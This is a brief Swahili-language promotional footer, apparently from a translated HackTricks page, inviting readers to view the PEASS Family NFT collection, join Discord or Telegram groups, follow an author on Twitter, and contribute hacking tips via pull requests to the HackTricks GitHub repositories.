- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram](https://t.me/peass) au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.